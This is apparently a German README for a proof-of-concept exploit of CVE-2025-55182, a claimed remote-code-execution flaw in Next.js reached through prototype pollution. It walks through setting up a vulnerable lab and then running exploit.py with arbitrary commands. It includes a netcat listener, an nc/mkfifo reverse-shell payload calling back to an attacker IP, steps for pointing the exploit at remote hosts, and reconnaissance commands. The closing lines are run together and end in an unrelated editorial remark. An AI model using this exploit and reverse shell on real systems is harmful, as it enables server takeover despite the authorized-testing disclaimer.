
Proof-of-Concept-Exploit für CVE-2025-55182, der Remote-Code-Ausführung in Next.js über Prototype Pollution demonstriert. Enthält ein vorkonfiguriertes verwundbares Labor für autorisierte Tests und Reverse-Shell-Generierung.
Ein Proof-of-Concept-Exploit, der eine Schwachstelle zur Remote-Codeausführung in Next.js-Anwendungen durch Prototype Pollution in der Rendering-Pipeline der React-Serverkomponenten demonstriert.
Dieses Tool ist ausschließlich für Bildungs- und autorisierte Testzwecke gedacht. Die unbefugte Verwendung gegen Systeme, die dir nicht gehören oder für die du keine Erlaubnis zum Testen hast, ist illegal.
git clone https://github.com/securifyai/React2Shell-CVE-2025-55182.git
cd React2Shell-CVE-2025-55182
# Create a new Next.js app with the vulnerable version
npm create [email protected] react2shell-lab
# Accept all defaults when prompted
cd react2shell-lab
Hinweis: Das vorkonfigurierte Labor enthält bereits den notwendigen angreifbaren Code. Wenn du von Grund auf erstellst, musst du die angreifbaren Komponenten manuell hinzufügen.
cd react2shell-lab
npm install
In Terminal 1:
npm run dev
Der Server sollte unter http://localhost:3000 starten.
Das Repository enthält eine Datei exploit.py, die die Schwachstelle demonstriert. Bearbeite die Variable COMMAND in der Datei und setze sie auf den gewünschten Befehl:
COMMAND = 'whoami' # Change this to any command you want to execute
Führe den Exploit aus:
python3 exploit.py
Richte einen netcat-Listener in einem neuen Terminal ein:
nc -nvlp 4444
Bearbeite exploit.py und aktualisiere den Befehl auf dein Reverse-Shell-Payload:
COMMAND = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc YOUR_IP 4444 >/tmp/f'
Ersetze YOUR_IP durch die IP-Adresse deines lokalen Rechners.
Führe den Exploit aus:
python3 exploit.py
Bearbeite die Variable HOST im Exploit-Skript, um entfernte Server als Ziel zu setzen:
HOST = 'target-ip-address' # Replace with target IP
PORT = 3000 # Default Next.js port
ls -launame -awhoamiifconfig oder ip aDieses Projekt ist unter der MIT-Lizenz lizenziert – weitere Details findest du in der Datei LICENSE.
Diese Version fragt nach Benutzereingaben für entferntes Ziel sowie Angreifer-IPs und -Ports. Der Beitragstext (body_parts) ist in dieser Version ebenfalls leicht gekürzt.